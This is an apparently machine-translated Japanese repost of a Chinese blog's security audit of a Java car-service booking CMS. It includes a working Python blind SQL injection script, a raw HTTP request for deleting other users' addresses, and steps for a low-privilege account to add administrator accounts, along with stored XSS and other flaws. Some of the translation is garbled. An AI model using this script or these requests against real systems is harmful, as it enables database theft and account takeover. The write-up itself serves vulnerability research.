私はあなたをターゲットにしていない、私はここの誰もがこれらの抜け穴について頻繁に書いていると言っている


卒業シーズン、私は数ヶ月塩漬け魚でした。塩漬け魚であることは本当に幸せだと言わざるを得ませんが、1つは良くないことがあります。ITに参加したとき、彼はこのラップトップを長い間起動する方法を教えてくれたということです。 …

主要なセキュリティブログのコンテンツにあまり注意を払っていませんでした。今日歩き回っていたところ、マスターがCMS監査に関する記事を投稿していることがわかりました。コードを数か月間レビューしなかったため、この記事に従うことを考えました。再現して気持ちを見つけたら、ちなみにこのCMSで他の問題を見つけました

フロントSQLi

SQLインジェクションはフロントデスクのクイックカー予約機能にあります

脆弱な関数の場所:car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class-->getGoodsListByExtendCat()

脆弱性コードは次のとおりです。

上の図からわかるように、変数cat_ids、type_ids、brand_idsは、SQLステートメントに直接スプライスされます。これらの変数が制御可能な場合は、抜け穴があります。getGoodsListByExtendCatメソッドが呼び出される場所を確認し、com/weishang/my/action/GoodsList.java-->doGet()次のように、メソッドで呼び出されることを確認しましょう39行目:

tem_cat_id、tem_type_id、tem_brand_id、およびその他のパラメーターの値はGETリクエストから直接派生しているため、ここで脆弱性が確立されていますが、エコーポイントがなく、エラーインジェクションを使用できないため、例としてbrand_idパラメーターを使用して、ブラインドインジェクションのみを使用できます、スクリプトを記述してデータベース名を実行します

# -*- coding:utf-8 -*-

import requests
from string import printable
chars = printable

vul_url = "http://172.16.137.12:8080/opencarrun/goods?brand_id=1)%20or%20substr(database(),{},1)=%27{}%27%20limit%201%23&type_id=&cat_id=1&menuId=7&price=x&order=extension"
i = 0
result = ""
proxy = {
    
    'http':'http://127.0.0.1:8282'}
while True:
    i += 1
    temp = result
    for char in chars:
        target = vul_url.format(i, char)
        resp = requests.get(target, proxies=proxy)
        # print(resp.text)
        if '预 定' in resp.text:
            result += char
            break
    print(result)
    if temp == result:
        break

操作の結果は次のとおりです。データベース名が正常に不足しています

バックエンドSQLi

SQLインジェクションは、バックグラウンドで外部の従業員を削除する機能に存在します

脆弱性機能:car-weishang-1.0.jar!\com\weishang\my\admin\DeleteAunt.class-->doGet()

コードは以下のように表示されます:

8行目を見ると、adminidがGETリクエストから取得されていることがわかります。次に、adminidがdeleteAdmin()関数に渡されます。

public String deleteAunt(String ids) {
    
    
        String sql = "delete from aunt where aunt_id in (" + ids + ")";
        int flag = this.jdbc.executeUpdate(sql);
        this.jdbc.close();
        return flag > 0 ? "ok" : "bad";
    }

コードは非常にシンプルです。つまり、削除操作が実行され、idsパラメーターがSQLステートメントに直接スプライスされて、脆弱性が発生します。同様に、エコーがなく、エラーインジェクションを使用できないため、データはブラインドインジェクションでのみ実行できます。ここではスクリプトを記述しません。2つの検証ペイロードを直接指定します


ここに画像の説明を挿入

ユーザーは、配信アドレスの過剰な権限を削除します

ユーザーは、address_idパラメータを変更することにより、任意のユーザーの配信アドレスを削除できます

POST /opencarrun/wx/wxDeleteAddress HTTP/1.1
Host: 172.16.137.12:8080
Content-Length: 14
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.137.12:8080
Referer: http://172.16.137.12:8080/opencarrun/pc/pcUserAddress
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6E94031AC6467DB0383D8B397550A50D; store_id=42; type_id=1; time=2020-06-11
Connection: close

address_id=694

脆弱性機能:opencar/WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/action/admin/DeleteAdmin.class-->doGet()

89行目、address_idを取得し、アドレスがユーザーのものかどうかを判断せずに、それを直接deleteAddress()に渡し、脆弱性を引き起こしています。

Backstage管理者管理モジュールのウルトラウイルス

低い特権のユーザーは特権管理者アカウントを追加および削除できます

まず、バックグラウンドで特権管理者アカウントにログインし、カスタマーサービスレベルのアカウントを作成します

次に、このカスタマーサービスアカウントにログインします。デフォルトでは、カスタマーサービスアカウントには権限がありません。そのため、カスタマーサービスログインの背景は次のようになります。

機能はありませんが、データパッケージを作成してスーパー管理を追加し、カスタマーサービスのCookieを使用してこのデータパッケージを送信できます。

特権管理者アカウントにログインすると、「Axin本当にハンサムだよ」という名前の追加の特権管理者アカウントがあることがわかります

管理者の追加に加えて、管理者の削除は無許可と同じです。

保存されたXSS

システム全体ではxssは保護されないため、基本的には入出力のある場所にXSSが存在します。例として、ユーザーに配信アドレスを追加する機能を使用して、連絡先にペイロードを挿入します

首尾よくポップアップしました、私はかわいい男の子であり、それを助けることはできません!

その他の欠陥

また、修正されたセッションID(セッションIDはログインの前後で変更されないため、セキュリティリスクでもあります)、ユーザーレジストリからSMSメッセージを送信するためのインターフェースが悪意を持って使用され、SMSの爆撃が行われたり、バックグラウンドのログイン検証コードが変更されないなど、いくつかの小さな問題もあります。ブラストなどにつながります。

上記の特定の脆弱性に加えて、システムにはXSSおよびSQLインジェクションの多くの場所があります。私はそれを書き出すのが面倒ですが、このシステムのSQLインジェクション、基本的にはこのシステムのすべてのSQL操作を掘り下げるにはトリックがありますどちらも、であるWebRoot/WEB-INF/lib/weishang-1.4.jar!/com/weishang/service/AdminService.classとしてWebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.classこの2つのクラス、およびシステム・著者のSQL文のほとんどは、プリコンパイルされたメソッドを使用しますが、いくつかのSQL文は、いくつかの理由で直接スプライシング方法を使用しています。これらの直接スプライシングの場所は、潜在的です質問、たぶん見てみた。直縫いの場所はまだまだたくさんあり、興味のある友達が手を練習できる。

ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/he_and/article/details/107212232